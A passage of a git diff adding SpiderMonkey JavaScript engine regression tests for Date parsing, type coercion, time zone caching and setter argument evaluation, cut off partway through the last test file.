+++ b/js/src/tests/non262/Date/constructor-one-argument.js
@@ -0,0 +1,26 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 738511;
+var summary =
+ "new Date(value) should call ToPrimitive on value before testing for " +
+ "string-ness";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(new Date(new String("2012-01-31T00:00:00.000Z")).valueOf(),
+ 1327968000000,
+ "Date constructor passed a String object should parse it");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Date/defaultvalue.js b/js/src/tests/non262/Date/defaultvalue.js
new file mode 100644
index 0000000000..2fc5887d18
--- /dev/null
+++ b/js/src/tests/non262/Date/defaultvalue.js
@@ -0,0 +1,190 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 645464;
+var summary =
+ "[[DefaultValue]] behavior wrong for Date with overridden valueOf/toString";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function allTests()
+{
+ var DS = new Date(2010, 1, 1).toString();
+
+ // equality
+
+ var d = new Date(2010, 1, 1);
+ assertEq(d == DS, true);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.valueOf = function() { assertEq(arguments.length, 0); return 17; };
+ assertEq(d2 == DS, true);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.toString = function() { return 42; };
+ assertEq(d3 == 42, true);
+
+ function testEquality()
+ {
+ var d = new Date(2010, 1, 1);
+ assertEq(d == DS, true);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.valueOf = function() { assertEq(arguments.length, 0); return 17; };
+ assertEq(d2 == DS, true);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.toString = function() { return 42; };
+ assertEq(d3 == 42, true);
+ }
+ testEquality();
+
+
+ // addition of Date to number
+
+ var d = new Date(2010, 1, 1);
+ assertEq(d + 5, DS + "5");
+
+ var d2 = new Date(2010, 1, 1);
+ d2.toString = function() { return 9; };
+ assertEq(d2 + 3, 9 + 3);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.valueOf = function() { assertEq(arguments.length, 0); return 17; };
+ assertEq(d3 + 5, DS + "5");
+
+ function testDateNumberAddition()
+ {
+ var d = new Date(2010, 1, 1);
+ assertEq(d + 5, DS + "5");
+
+ var d2 = new Date(2010, 1, 1);
+ d2.toString = function() { return 9; };
+ assertEq(d2 + 3, 9 + 3);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.valueOf = function() { assertEq(arguments.length, 0); return 17; };
+ assertEq(d3 + 5, DS + "5");
+ }
+ testDateNumberAddition();
+
+
+ // addition of Date to Date
+
+ var d = new Date(2010, 1, 1);
+ assertEq(d + d, DS + DS);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.toString = function() { return 5; };
+ assertEq(d2 + d2, 10);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.valueOf = function() { assertEq(arguments.length, 0); return 8.5; };
+ assertEq(d3 + d3, DS + DS);
+
+ function testDateDateAddition()
+ {
+ var d = new Date(2010, 1, 1);
+ assertEq(d + d, DS + DS);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.toString = function() { return 5; };
+ assertEq(d2 + d2, 10);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.valueOf = function() { assertEq(arguments.length, 0); return 8.5; };
+ assertEq(d3 + d3, DS + DS);
+ }
+ testDateDateAddition();
+
+
+ // Date as bracketed property name
+
+ var obj = { 8: 42, 9: 73 };
+ obj[DS] = 17;
+
+ var d = new Date(2010, 1, 1);
+ assertEq(obj[d], 17);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.valueOf = function() { assertEq(arguments.length, 0); return 8; }
+ assertEq(obj[d2], 17);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.toString = function() { return 9; };
+ assertEq(obj[d3], 73);
+
+ function testPropertyName()
+ {
+ var obj = { 8: 42, 9: 73 };
+ obj[DS] = 17;
+
+ var d = new Date(2010, 1, 1);
+ assertEq(obj[d], 17);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.valueOf = function() { assertEq(arguments.length, 0); return 8; }
+ assertEq(obj[d2], 17);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.toString = function() { return 9; };
+ assertEq(obj[d3], 73);
+ }
+ testPropertyName();
+
+
+ // Date as property name with |in| operator
+
+ var obj = {};
+ obj[DS] = 5;
+
+ var d = new Date(2010, 1, 1);
+ assertEq(d in obj, true);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.toString = function() { return "baz"; };
+ assertEq(d2 in { baz: 42 }, true);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.valueOf = function() { assertEq(arguments.length, 0); return "quux"; };
+ assertEq(d3 in obj, true);
+
+ function testInOperatorName()
+ {
+ var obj = {};
+ obj[DS] = 5;
+
+ var d = new Date(2010, 1, 1);
+ assertEq(d in obj, true);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.toString = function() { return "baz"; };
+ assertEq(d2 in { baz: 42 }, true);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.valueOf = function() { assertEq(arguments.length, 0); return "quux"; };
+ assertEq(d3 in obj, true);
+ }
+ testInOperatorName();
+}
+
+allTests();
+
+if (typeof newGlobal === "function")
+{
+ Date = newGlobal().Date;
+ allTests();
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Date/dst-offset-caching-1-of-8.js b/js/src/tests/non262/Date/dst-offset-caching-1-of-8.js
new file mode 100644
index 0000000000..95a88e9a92
--- /dev/null
+++ b/js/src/tests/non262/Date/dst-offset-caching-1-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(1, 8);
diff --git a/js/src/tests/non262/Date/dst-offset-caching-2-of-8.js b/js/src/tests/non262/Date/dst-offset-caching-2-of-8.js
new file mode 100644
index 0000000000..0810f91176
--- /dev/null
+++ b/js/src/tests/non262/Date/dst-offset-caching-2-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(2, 8);
diff --git a/js/src/tests/non262/Date/dst-offset-caching-3-of-8.js b/js/src/tests/non262/Date/dst-offset-caching-3-of-8.js
new file mode 100644
index 0000000000..a70559afa3
--- /dev/null
+++ b/js/src/tests/non262/Date/dst-offset-caching-3-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(3, 8);
diff --git a/js/src/tests/non262/Date/dst-offset-caching-4-of-8.js b/js/src/tests/non262/Date/dst-offset-caching-4-of-8.js
new file mode 100644
index 0000000000..3bda28d617
--- /dev/null
+++ b/js/src/tests/non262/Date/dst-offset-caching-4-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(4, 8);
diff --git a/js/src/tests/non262/Date/dst-offset-caching-5-of-8.js b/js/src/tests/non262/Date/dst-offset-caching-5-of-8.js
new file mode 100644
index 0000000000..a15692ff0d
--- /dev/null
+++ b/js/src/tests/non262/Date/dst-offset-caching-5-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(5, 8);
diff --git a/js/src/tests/non262/Date/dst-offset-caching-6-of-8.js b/js/src/tests/non262/Date/dst-offset-caching-6-of-8.js
new file mode 100644
index 0000000000..d2ce8e90c8
--- /dev/null
+++ b/js/src/tests/non262/Date/dst-offset-caching-6-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(6, 8);
diff --git a/js/src/tests/non262/Date/dst-offset-caching-7-of-8.js b/js/src/tests/non262/Date/dst-offset-caching-7-of-8.js
new file mode 100644
index 0000000000..aaa560c202
--- /dev/null
+++ b/js/src/tests/non262/Date/dst-offset-caching-7-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(7, 8);
diff --git a/js/src/tests/non262/Date/dst-offset-caching-8-of-8.js b/js/src/tests/non262/Date/dst-offset-caching-8-of-8.js
new file mode 100644
index 0000000000..30a6f781b8
--- /dev/null
+++ b/js/src/tests/non262/Date/dst-offset-caching-8-of-8.js
@@ -0,0 +1,6 @@
+// |reftest| slow
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+runDSTOffsetCachingTestsFraction(8, 8);
diff --git a/js/src/tests/non262/Date/equality-to-boolean.js b/js/src/tests/non262/Date/equality-to-boolean.js
new file mode 100644
index 0000000000..c60319b9d9
--- /dev/null
+++ b/js/src/tests/non262/Date/equality-to-boolean.js
@@ -0,0 +1,39 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+print("Test for correct implementation of |Date == boolean| and vice versa");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+Date.prototype.toString = function() { return 1; };
+Date.prototype.valueOf = function() { return 0; };
+
+/*
+ * ES5 11.9.3 doesn't directly handle obj == boolean. Instead it translates it
+ * as follows:
+ *
+ * obj == boolean
+ * ↳ obj == ToNumber(boolean), per step 7
+ * ↳ ToPrimitive(obj) == ToNumber(boolean), per step 9
+ *
+ * ToPrimitive calls [[DefaultValue]] with no hint. For Date objects this is
+ * treated as if it were instead called with hint String. That calls toString,
+ * which returns 1, so Date objects here should compare equal to true and
+ * unequal to false.
+ */
+assertEq(new Date == true, true);
+assertEq(new Date == false, false);
+
+/* == is symmetric. */
+assertEq(true == new Date, true);
+assertEq(false == new Date, false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Date/fractions.js b/js/src/tests/non262/Date/fractions.js
new file mode 100644
index 0000000000..30dd663ddd
--- /dev/null
+++ b/js/src/tests/non262/Date/fractions.js
@@ -0,0 +1,24 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 771946;
+var summary = "Fractional days, months, years shouldn't trigger asserts";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+new Date(0).setFullYear(1.5);
+new Date(0).setUTCDate(1.5);
+new Date(0).setMonth(1.5);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Date/non-iso.js b/js/src/tests/non262/Date/non-iso.js
new file mode 100644
index 0000000000..2e13822068
--- /dev/null
+++ b/js/src/tests/non262/Date/non-iso.js
@@ -0,0 +1,77 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+/*
+ * For the sake of cross compatibility with other implementations we
+ * follow the W3C "NOTE-datetime" specification when parsing dates of
+ * the form YYYY-MM-DDTHH:MM:SS save for a few exceptions: months, days, hours
+ * minutes, and seconds may be either one _or_ two digits long, and the 'T'
+ * preceding the time part may be replaced with a space. So, a string like
+ * "1997-3-8 1:1:1" will parse successfully. See bug: 1203298
+ */
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(new Date("1997-03-08 1:1:1.01").getTime(),
+ new Date("1997-03-08T01:01:01.01").getTime());
+assertEq(new Date("1997-03-08 11:19:20").getTime(),
+ new Date("1997-03-08T11:19:20").getTime());
+assertEq(new Date("1997-3-08 11:19:20").getTime(),
+ new Date("1997-03-08T11:19:20").getTime());
+assertEq(new Date("1997-3-8 11:19:20").getTime(),
+ new Date("1997-03-08T11:19:20").getTime());
+assertEq(new Date("+001997-3-8 11:19:20").getTime(),
+ new Date("1997-03-08T11:19:20").getTime());
+assertEq(new Date("+001997-03-8 11:19:20").getTime(),
+ new Date("1997-03-08T11:19:20").getTime());
+assertEq(new Date("1997-03-08 11:19").getTime(),
+ new Date("1997-03-08T11:19").getTime());
+assertEq(new Date("1997-03-08 1:19").getTime(),
+ new Date("1997-03-08T01:19").getTime());
+assertEq(new Date("1997-03-08 1:1").getTime(),
+ new Date("1997-03-08T01:01").getTime());
+assertEq(new Date("1997-03-08 1:1:01").getTime(),
+ new Date("1997-03-08T01:01:01").getTime());
+assertEq(new Date("1997-03-08 1:1:1").getTime(),
+ new Date("1997-03-08T01:01:01").getTime());
+assertEq(new Date("1997-03-08 11").getTime(),
+ new Date("1997-03-08T11").getTime()); // Date(NaN)
+assertEq(new Date("1997-03-08").getTime(),
+ new Date("1997-03-08").getTime());
+assertEq(new Date("1997-03-8").getTime(),
+ new Date("1997-03-08").getTime());
+assertEq(new Date("1997-3-8").getTime(),
+ new Date("1997-03-08").getTime());
+assertEq(new Date("1997-3-8 ").getTime(),
+ new Date("1997-03-08T").getTime()); // Date(NaN)
+assertEq(new Date("1997-3-8T11:19:20").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("1997-03-8T11:19:20").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("+001997-3-8T11:19:20").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("+001997-3-08T11:19:20").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("1997-3-8 :00:01").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("1997-3-8 01::01").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("1997-03-08T1:19").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("1997-03-08T1:1").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("1997-03-08T1:1:01").getTime(),
+ new Date(NaN).getTime());
+assertEq(new Date("1997-03-08T1:1:1").getTime(),
+ new Date(NaN).getTime());
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Date/parse-from-tostring-methods.js b/js/src/tests/non262/Date/parse-from-tostring-methods.js
new file mode 100644
index 0000000000..b6bf577bb0
--- /dev/null
+++ b/js/src/tests/non262/Date/parse-from-tostring-methods.js
@@ -0,0 +1,31 @@
+let dates = [
+ "0041-09-23", "+000041-09-23", "-000041-09-23",
+ "0091-09-23", "+000091-09-23", "-000091-09-23",
+ "0217-09-23", "+000217-09-23", "-000217-09-23",
+ "2017-09-23", "+002017-09-23", "-002017-09-23",
+ "+022017-09-23", "-022017-09-23",
+ "+202017-09-23", "-202017-09-23",
+];
+
+for (let date of dates) {
+ let d = new Date(date);
+ let timeValue = d.valueOf();
+
+ assertEq(Number.isNaN(timeValue), false, `Cannot parse "${date}" as ISO date-only form`);
+
+ // Ensure parsing the results of toString(), toUTCString(), and toISOString()
+ // gives the same time value as required by 20.3.3.2 Date.parse.
+ //
+ // Additional requirement not present in ES2019 draft rev 7acacc524213058a2368b5fa751fac7ea08ba230:
+ // The time zone offset must not contain seconds (or milliseconds) for |Date.parse(x.toString())|
+ // to be equal to |x.valueOf()|.
+ let tz = d.getTimezoneOffset();
+ if (Math.trunc(tz) === tz) {
+ assertEq(Date.parse(d.toString()), timeValue, `Cannot parse from toString() of "${date}"`);
+ }
+ assertEq(Date.parse(d.toUTCString()), timeValue, `Cannot parse from toUTCString() of "${date}"`);
+ assertEq(Date.parse(d.toISOString()), timeValue, `Cannot parse from toISOString() of "${date}"`);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/prototype-is-not-a-date.js b/js/src/tests/non262/Date/prototype-is-not-a-date.js
new file mode 100644
index 0000000000..26f0c3e859
--- /dev/null
+++ b/js/src/tests/non262/Date/prototype-is-not-a-date.js
@@ -0,0 +1,15 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 861219;
+var summary = "Date.prototype isn't an instance of Date";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Date.prototype instanceof Date, false);
+assertEq(Date.prototype.__proto__, Object.prototype);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/regress-188211.js b/js/src/tests/non262/Date/regress-188211.js
new file mode 100644
index 0000000000..663611b81b
--- /dev/null
+++ b/js/src/tests/non262/Date/regress-188211.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 188211;
+var summary = 'Date.prototype.toLocaleString() error on future dates';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var dt;
+
+dt = new Date(208e10);
+printStatus(dt+'');
+expect = true;
+actual = dt.toLocaleString().indexOf('2035') >= 0;
+reportCompare(expect, actual, summary + ': new Date(208e10)');
+
+dt = new Date(209e10);
+printStatus(dt+'');
+expect = true;
+actual = dt.toLocaleString().indexOf('2036') >= 0;
+reportCompare(expect, actual, summary + ': new Date(209e10)');
diff --git a/js/src/tests/non262/Date/regress-301738-01.js b/js/src/tests/non262/Date/regress-301738-01.js
new file mode 100644
index 0000000000..8f5ae7d304
--- /dev/null
+++ b/js/src/tests/non262/Date/regress-301738-01.js
@@ -0,0 +1,97 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 301738;
+var summary = 'Date parse compatibilty with MSIE';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+/*
+ Case 1. The input string contains an English month name.
+ The form of the string can be month f l, or f month l, or
+ f l month which each evaluate to the same date.
+ If f and l are both greater than or equal to 70, or
+ both less than 70, the date is invalid.
+ The year is taken to be the greater of the values f, l.
+ If the year is greater than or equal to 70 and less than 100,
+ it is considered to be the number of years after 1900.
+*/
+
+var month = 'January';
+var f;
+var l;
+
+f = l = 0;
+expect = true;
+
+actual = isNaN(new Date(month + ' ' + f + ' ' + l));
+reportCompare(expect, actual, 'January 0 0 is invalid');
+
+actual = isNaN(new Date(f + ' ' + l + ' ' + month));
+reportCompare(expect, actual, '0 0 January is invalid');
+
+actual = isNaN(new Date(f + ' ' + month + ' ' + l));
+reportCompare(expect, actual, '0 January 0 is invalid');
+
+f = l = 70;
+
+actual = isNaN(new Date(month + ' ' + f + ' ' + l));
+reportCompare(expect, actual, 'January 70 70 is invalid');
+
+actual = isNaN(new Date(f + ' ' + l + ' ' + month));
+reportCompare(expect, actual, '70 70 January is invalid');
+
+actual = isNaN(new Date(f + ' ' + month + ' ' + l));
+reportCompare(expect, actual, '70 January 70 is invalid');
+
+f = 100;
+l = 15;
+
+// year, month, day
+expect = new Date(f, 0, l).toString();
+
+actual = new Date(month + ' ' + f + ' ' + l).toString();
+reportCompare(expect, actual, 'month f l');
+
+actual = new Date(f + ' ' + l + ' ' + month).toString();
+reportCompare(expect, actual, 'f l month');
+
+actual = new Date(f + ' ' + month + ' ' + l).toString();
+reportCompare(expect, actual, 'f month l');
+
+f = 80;
+l = 15;
+
+// year, month, day
+expect = (new Date(f, 0, l)).toString();
+
+actual = (new Date(month + ' ' + f + ' ' + l)).toString();
+reportCompare(expect, actual, 'month f l');
+
+actual = (new Date(f + ' ' + l + ' ' + month)).toString();
+reportCompare(expect, actual, 'f l month');
+
+actual = (new Date(f + ' ' + month + ' ' + l)).toString();
+reportCompare(expect, actual, 'f month l');
+
+f = 2040;
+l = 15;
+
+// year, month, day
+expect = (new Date(f, 0, l)).toString();
+
+actual = (new Date(month + ' ' + f + ' ' + l)).toString();
+reportCompare(expect, actual, 'month f l');
+
+actual = (new Date(f + ' ' + l + ' ' + month)).toString();
+reportCompare(expect, actual, 'f l month');
+
+actual = (new Date(f + ' ' + month + ' ' + l)).toString();
+reportCompare(expect, actual, 'f month l');
+
diff --git a/js/src/tests/non262/Date/regress-309925-01.js b/js/src/tests/non262/Date/regress-309925-01.js
new file mode 100644
index 0000000000..ee6daaffc4
--- /dev/null
+++ b/js/src/tests/non262/Date/regress-309925-01.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 309925;
+var summary = 'Correctly parse Date strings with HH:MM';
+var actual = new Date('Sep 24, 11:58 105') + '';
+var expect = new Date('Sep 24, 11:58:00 105') + '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Date/regress-309925-02.js b/js/src/tests/non262/Date/regress-309925-02.js
new file mode 100644
index 0000000000..60bbfc33b0
--- /dev/null
+++ b/js/src/tests/non262/Date/regress-309925-02.js
@@ -0,0 +1,15 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 309925;
+var summary = 'Correctly parse Date strings with HH:MM(comment)';
+var actual = new Date('Sep 24, 11:58(comment) 105') + '';
+var expect = new Date('Sep 24, 11:58:00 (comment) 105') + '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Date/regress-346027.js b/js/src/tests/non262/Date/regress-346027.js
new file mode 100644
index 0000000000..ad1dc9e55f
--- /dev/null
+++ b/js/src/tests/non262/Date/regress-346027.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346027;
+var summary = 'Date.prototype.setFullYear()';
+var actual = '';
+var expect = true;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var d = new Date();
+ d.setFullYear();
+ actual = isNaN(d.getFullYear());
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Date/regress-346363.js b/js/src/tests/non262/Date/regress-346363.js
new file mode 100644
index 0000000000..6381899fbc
--- /dev/null
+++ b/js/src/tests/non262/Date/regress-346363.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346363;
+var summary = 'Date.prototype.setFullYear()';
+var actual = '';
+var expect = true;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var d = new Date();
+ d.setFullYear();
+ d.setFullYear(2006);
+ actual = d.getFullYear() == 2006;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Date/regress-452786.js b/js/src/tests/non262/Date/regress-452786.js
new file mode 100644
index 0000000000..c8943b1f99
--- /dev/null
+++ b/js/src/tests/non262/Date/regress-452786.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452786;
+var summary = 'Do not crash with (new Date()).getMonth.call(new Function())';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (new Date()).getMonth.call(new Function());
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Date/reset-time-zone-cache-same-offset.js b/js/src/tests/non262/Date/reset-time-zone-cache-same-offset.js
new file mode 100644
index 0000000000..56c9fc262c
--- /dev/null
+++ b/js/src/tests/non262/Date/reset-time-zone-cache-same-offset.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT") -- Windows doesn't accept IANA names for the TZ env variable
+
+const testCases = [
+ {
+ timeZone: "Europe/London",
+ string: "Tue Aug 14 2018 00:00:00 GMT+0100 (BST)",
+ alternativeTimeZones: ["British Summer Time"],
+ localeString: "8/14/2018, 12:00:00 AM GMT+1",
+ },
+ {
+ timeZone: "UTC",
+ string: "Tue Aug 14 2018 00:00:00 GMT+0000 (UTC)",
+ alternativeTimeZones: ["Coordinated Universal Time"],
+ localeString: "8/14/2018, 12:00:00 AM UTC",
+ },
+];
+
+// Repeat twice to test both transitions (Europe/London -> UTC and UTC -> Europe/London).
+for (let i = 0; i < 2; ++i) {
+ for (let {timeZone, string, localeString, alternativeTimeZones} of testCases) {
+ setTimeZone(timeZone);
+
+ let dt = new Date(2018, 8 - 1, 14);
+ assertDateTime(dt, string, ...alternativeTimeZones);
+ assertEq(dt.toLocaleString("en-US", {timeZoneName: "short"}), localeString);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/setTime-argument-shortcircuiting.js b/js/src/tests/non262/Date/setTime-argument-shortcircuiting.js
new file mode 100644
index 0000000000..7e67d03742
--- /dev/null
+++ b/js/src/tests/non262/Date/setTime-argument-shortcircuiting.js
@@ -0,0 +1,147 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+print("Test for correct short-circuiting implementation of Date.set methods");
+
+/**************
+ * BEGIN TEST *
+ **************/
+var global = 0;
+var date;
+
+/* Test that methods don't short circuit argument evaluation. */
+date = new Date(0).setSeconds(NaN, {valueOf:function(){global = 3}});
+assertEq(global, 3);
+
+date = new Date(0).setUTCSeconds(NaN, {valueOf:function(){global = 4}});
+assertEq(global, 4);
+
+date = new Date(0).setMinutes(NaN, {valueOf:function(){global = 5}});
+assertEq(global, 5);
+
+date = new Date(0).setUTCMinutes(NaN, {valueOf:function(){global = 6}});
+assertEq(global, 6);
+
+date = new Date(0).setHours(NaN, {valueOf:function(){global = 7}});
+assertEq(global, 7);
+
+date = new Date(0).setUTCHours(NaN, {valueOf:function(){global = 8}});
+assertEq(global, 8);
+
+date = new Date(0).setMonth(NaN, {valueOf:function(){global = 11}});
+assertEq(global, 11);
+
+date = new Date(0).setUTCMonth(NaN, {valueOf:function(){global = 12}});
+assertEq(global, 12);
+
+date = new Date(0).setFullYear(NaN, {valueOf:function(){global = 13}});
+assertEq(global, 13);
+
+date = new Date(0).setUTCFullYear(NaN, {valueOf:function(){global = 14}});
+assertEq(global, 14);
+
+
+
+/* Test that argument evaluation is not short circuited if Date == NaN */
+date = new Date(NaN).setMilliseconds({valueOf:function(){global = 15}});
+assertEq(global, 15);
+
+date = new Date(NaN).setUTCMilliseconds({valueOf:function(){global = 16}});
+assertEq(global, 16);
+
+date = new Date(NaN).setSeconds({valueOf:function(){global = 17}});
+assertEq(global, 17);
+
+date = new Date(NaN).setUTCSeconds({valueOf:function(){global = 18}});
+assertEq(global, 18);
+
+date = new Date(NaN).setMinutes({valueOf:function(){global = 19}});
+assertEq(global, 19);
+
+date = new Date(NaN).setUTCMinutes({valueOf:function(){global = 20}});
+assertEq(global, 20);
+
+date = new Date(NaN).setHours({valueOf:function(){global = 21}});
+assertEq(global, 21);
+
+date = new Date(NaN).setUTCHours({valueOf:function(){global = 22}});
+assertEq(global, 22);
+
+date = new Date(NaN).setDate({valueOf:function(){global = 23}});
+assertEq(global, 23);
+
+date = new Date(NaN).setUTCDate({valueOf:function(){global = 24}});
+assertEq(global, 24);
+
+date = new Date(NaN).setMonth({valueOf:function(){global = 25}});
+assertEq(global, 25);
+
+date = new Date(NaN).setUTCMonth({valueOf:function(){global = 26}});
+assertEq(global, 26);
+
